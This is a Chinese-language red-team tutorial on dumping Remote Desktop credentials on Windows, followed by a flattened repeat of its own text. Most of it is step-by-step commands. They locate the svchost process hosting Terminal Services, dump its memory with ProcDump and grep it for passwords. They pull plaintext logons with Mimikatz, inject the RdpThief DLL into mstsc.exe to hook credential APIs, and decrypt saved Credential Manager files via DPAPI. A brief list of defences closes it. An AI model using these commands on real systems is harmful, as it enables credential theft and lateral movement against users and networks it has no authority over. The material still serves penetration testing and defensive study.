转储RDP凭据
字数 986 2025-08-05 08:19:06

RDP凭据转储技术详解

1. RDP协议安全概述

远程桌面协议(RDP)是Windows环境中广泛使用的远程管理协议,但长期以来缺乏适当的安全加固和监控。从红队视角看,RDP相关进程(svchost.exe和mstsc.exe)中存储的凭据是重要的攻击目标,可导致横向移动甚至域接管。

2. 通过svchost.exe转储凭据

2.1 识别承载终端服务的svchost进程

终端服务由svchost.exe进程托管,可通过以下方法识别:

  1. 查询终端服务

    sc queryex termservice
    
  2. 查找加载rdpcorets.dll的进程

    tasklist /M:rdpcorets.dll
    
  3. 使用netstat定位

    netstat -nob | Select-String TermService -Context 1
    

2.2 凭据存储机制

Windows身份验证机制会将凭据以纯文本形式存储在svchost进程内存中,密码通常显示在用户名下方。

2.3 内存转储与分析

  1. 使用ProcDump转储内存

    procdump64.exe -ma <PID> -accepteula C:\Users\pentestlab
    
  2. 离线分析转储文件

    strings -el svchost* | grep <Password> -C3
    
  3. 使用Mimikatz直接提取

    privilege::debug
    ts::logonpasswords
    

3. 通过mstsc.exe获取凭据

3.1 API Hooking技术

RdpThief工具通过hook以下函数拦截凭据:

  • CredIsMarshaledCredentialW
  • CryptProtectMemory

3.2 使用RdpThief

  1. 注入DLL

    SimpleInjector.exe mstsc.exe RdpThief.dll
    
  2. 凭据存储位置
    捕获的凭据会写入C:\temp目录下的文件中

3.3 SharpRDPThief改进版

使用IPC Server接收凭据,解决了原工具要求进程必须存在的限制。

4. 从RDP连接文件提取凭据

4.1 凭据存储位置

Windows凭据管理器存储的RDP连接信息位于:

C:\Users\<username>\AppData\Local\Microsoft\Credentials

4.2 使用Mimikatz解密

  1. 获取主密钥

    sekurlsa::dpapi
    
  2. 解密凭据

    dpapi::cred /in:<credential_file> /masterkey:<master_key>
    
  3. 查看凭据所属服务器

    vault::list
    

5. 防御建议

  1. 监控对svchost.exe和mstsc.exe进程的内存访问
  2. 限制对Credentials目录的访问
  3. 实施EDR解决方案检测API hooking行为
  4. 定期轮换凭据
  5. 启用多因素认证

6. 参考资源

  1. RdpThief: Extracting Clear-text Credentials from Remote Desktop Clients
  2. Dumping Plaintext RDP Credentials from svchost.exe
  3. API Monitoring and Hooking for Offensive Tooling
RDP凭据转储技术详解 1. RDP协议安全概述 远程桌面协议(RDP)是Windows环境中广泛使用的远程管理协议,但长期以来缺乏适当的安全加固和监控。从红队视角看,RDP相关进程(svchost.exe和mstsc.exe)中存储的凭据是重要的攻击目标,可导致横向移动甚至域接管。 2. 通过svchost.exe转储凭据 2.1 识别承载终端服务的svchost进程 终端服务由svchost.exe进程托管,可通过以下方法识别: 查询终端服务 : 查找加载rdpcorets.dll的进程 : 使用netstat定位 : 2.2 凭据存储机制 Windows身份验证机制会将凭据以纯文本形式存储在svchost进程内存中,密码通常显示在用户名下方。 2.3 内存转储与分析 使用ProcDump转储内存 : 离线分析转储文件 : 使用Mimikatz直接提取 : 3. 通过mstsc.exe获取凭据 3.1 API Hooking技术 RdpThief工具通过hook以下函数拦截凭据: CredIsMarshaledCredentialW CryptProtectMemory 3.2 使用RdpThief 注入DLL : 凭据存储位置 : 捕获的凭据会写入 C:\temp 目录下的文件中 3.3 SharpRDPThief改进版 使用IPC Server接收凭据,解决了原工具要求进程必须存在的限制。 4. 从RDP连接文件提取凭据 4.1 凭据存储位置 Windows凭据管理器存储的RDP连接信息位于: 4.2 使用Mimikatz解密 获取主密钥 : 解密凭据 : 查看凭据所属服务器 : 5. 防御建议 监控对svchost.exe和mstsc.exe进程的内存访问 限制对Credentials目录的访问 实施EDR解决方案检测API hooking行为 定期轮换凭据 启用多因素认证 6. 参考资源 RdpThief: Extracting Clear-text Credentials from Remote Desktop Clients Dumping Plaintext RDP Credentials from svchost.exe API Monitoring and Hooking for Offensive Tooling